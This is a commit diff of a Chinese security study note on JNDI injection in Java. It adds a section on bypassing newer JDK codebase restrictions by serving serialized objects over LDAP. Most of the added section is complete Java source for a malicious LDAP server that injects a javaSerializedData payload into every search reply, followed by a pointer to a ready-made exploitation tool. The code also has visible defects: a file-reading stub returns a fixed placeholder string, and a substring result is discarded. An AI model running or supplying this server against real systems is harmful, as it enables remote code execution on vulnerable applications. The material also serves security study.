|
4 | 4 |
|
5 | 5 |  |
6 | 6 |
|
7 | | -##### jndi注入的利用条件 |
| 7 | +### jndi注入的利用条件 |
8 | 8 |
|
9 | 9 | - 客户端的lookup()方法的参数可控 |
10 | 10 | - 服务端在使用Reference时,classFactoryLocation参数可控~ |
|
19 | 19 | - JDK 6u211、7u201、8u191之后:增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。 |
20 | 20 |
|
21 | 21 |
|
22 | | -##### jndi注入 demo |
| 22 | +### jndi注入 demo |
23 | 23 |
|
24 | 24 | - 创建一个恶意对象 |
25 | 25 |
|
@@ -125,3 +125,146 @@ public class Client { |
125 | 125 |
|
126 | 126 |  |
127 | 127 |
|
| 128 | + |
| 129 | + |
| 130 | +--- |
| 131 | + |
| 132 | +### 高版本JDK绕过,使用序列化对象进行Bypass |
| 133 | + |
| 134 | +其实一直以来JNDI有两种方式注入 |
| 135 | + |
| 136 | +LDAP can be used to store Java objects by using several special Java attributes. There are at least two ways a Java object can be represented in an LDAP directory: |
| 137 | + |
| 138 | +● Using Java serialization |
| 139 | + https://docs.oracle.com/javase/jndi/tutorial/objects/storing/serial.html |
| 140 | +● Using JNDI References |
| 141 | + https://docs.oracle.com/javase/jndi/tutorial/objects/storing/reference.html |
| 142 | + |
| 143 | + |
| 144 | + |
| 145 | + |
| 146 | + |
| 147 | +* JDK 6u132, JDK 7u122, JDK 8u113中添加了com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false。 |
| 148 | + |
| 149 | +**导致jndi的rmi reference方式失效,但ldap的reference方式仍然可行** |
| 150 | + |
| 151 | +* Oracle JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase属性的默认值被调整为false。 |
| 152 | + |
| 153 | +**导致jndi的ldap reference方式失效,到这里为止,远程codebase的方式基本失效,除非认为设为tr** |
| 154 | + |
| 155 | + |
| 156 | + |
| 157 | +**com/sun/jndi/ldap/Obj.java做了两个判断1. reference 2. Serializable** |
| 158 | + |
| 159 | + |
| 160 | + |
| 161 | + |
| 162 | + |
| 163 | +一是利用远程codebase的方式,二是利用本地ClassPath里的反序列化利用链。在最新版的jdk8u中,codebase的方式依赖com.sun.jndi.ldap.object.trustURLCodebase的值,而第二种方式仍未失效。 |
| 164 | + |
| 165 | +如果在返回的属性中存在javaSerializedData,将继续调用deserializeObject函数,该函数主要就是调用常规的反序列化方式readObject对序列化数据进行还原 |
| 166 | + |
| 167 | + |
| 168 | + |
| 169 | +实现代码: |
| 170 | + |
| 171 | +``` |
| 172 | +package summersec.ldap; |
| 173 | +
|
| 174 | +import com.unboundid.ldap.listener.InMemoryDirectoryServer; |
| 175 | +import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; |
| 176 | +import com.unboundid.ldap.listener.InMemoryListenerConfig; |
| 177 | +import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; |
| 178 | +import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; |
| 179 | +import com.unboundid.ldap.sdk.Entry; |
| 180 | +import com.unboundid.ldap.sdk.LDAPException; |
| 181 | +import com.unboundid.ldap.sdk.LDAPResult; |
| 182 | +import com.unboundid.ldap.sdk.ResultCode; |
| 183 | +import com.unboundid.util.Base64; |
| 184 | +import java.io.FileInputStream; |
| 185 | +import java.net.InetAddress; |
| 186 | +import java.net.MalformedURLException; |
| 187 | +import java.net.URL; |
| 188 | +import java.text.ParseException; |
| 189 | +import javax.net.ServerSocketFactory; |
| 190 | +import javax.net.SocketFactory; |
| 191 | +import javax.net.ssl.SSLSocketFactory; |
| 192 | +
|
| 193 | +public class LdapServer { |
| 194 | + private static final String LDAP_BASE = "dc=example,dc=com"; |
| 195 | +
|
| 196 | + public LdapServer() { |
| 197 | + } |
| 198 | +
|
| 199 | + public static String readFile(String filePath) throws Exception { |
| 200 | + String result = "ser.payload"; |
| 201 | + return result; |
| 202 | + } |
| 203 | +
|
| 204 | + public static void main(String[] args) throws Exception { |
| 205 | + String url = "http://127.0.0.1/#T"; |
| 206 | + String ports = "8080"; |
| 207 | + int port = 8080; |
| 208 | + String file = "1.ser"; |
| 209 | + String POC = readFile(file); |
| 210 | +
|
| 211 | +
|
| 212 | + try { |
| 213 | + InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(new String[]{"dc=example,dc=com"}); |
| 214 | + config.setListenerConfigs(new InMemoryListenerConfig[]{new InMemoryListenerConfig("listen", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory)SSLSocketFactory.getDefault())}); |
| 215 | + config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url), POC)); |
| 216 | + InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); |
| 217 | + System.out.println("Listening on 0.0.0.0:" + port); |
| 218 | + ds.startListening(); |
| 219 | + } catch (Exception var8) { |
| 220 | + var8.printStackTrace(); |
| 221 | + } |
| 222 | +
|
| 223 | + } |
| 224 | +
|
| 225 | + private static class OperationInterceptor extends InMemoryOperationInterceptor { |
| 226 | + private URL codebase; |
| 227 | + private String POC; |
| 228 | +
|
| 229 | + public OperationInterceptor(URL cb, String POC) { |
| 230 | + this.codebase = cb; |
| 231 | + this.POC = POC; |
| 232 | + } |
| 233 | +
|
| 234 | + public void processSearchResult(InMemoryInterceptedSearchResult result) { |
| 235 | + String base = result.getRequest().getBaseDN(); |
| 236 | + Entry e = new Entry(base); |
| 237 | +
|
| 238 | + try { |
| 239 | + this.sendResult(result, base, e); |
| 240 | + } catch (Exception var5) { |
| 241 | + var5.printStackTrace(); |
| 242 | + } |
| 243 | +
|
| 244 | + } |
| 245 | +
|
| 246 | + protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws LDAPException, MalformedURLException { |
| 247 | + URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); |
| 248 | + System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); |
| 249 | + e.addAttribute("javaClassName", "Exploit"); |
| 250 | + String cbstring = this.codebase.toString(); |
| 251 | + int refPos = cbstring.indexOf(35); |
| 252 | + if (refPos > 0) { |
| 253 | + cbstring.substring(0, refPos); |
| 254 | + } |
| 255 | + try { |
| 256 | + e.addAttribute("javaSerializedData", Base64.decode(this.POC)); |
| 257 | + } catch (ParseException var8) { |
| 258 | + var8.printStackTrace(); |
| 259 | + } |
| 260 | + result.sendSearchEntry(e); |
| 261 | + result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); |
| 262 | + } |
| 263 | + } |
| 264 | +} |
| 265 | +``` |
| 266 | + |
| 267 | + |
| 268 | + |
| 269 | +可以使用项目[LdapBypassJndi](https://github.com/Firebasky/LdapBypassJndi),工具将代码实现了ldap序列化对象的漏洞利用。 |
| 270 | + |
0 commit comments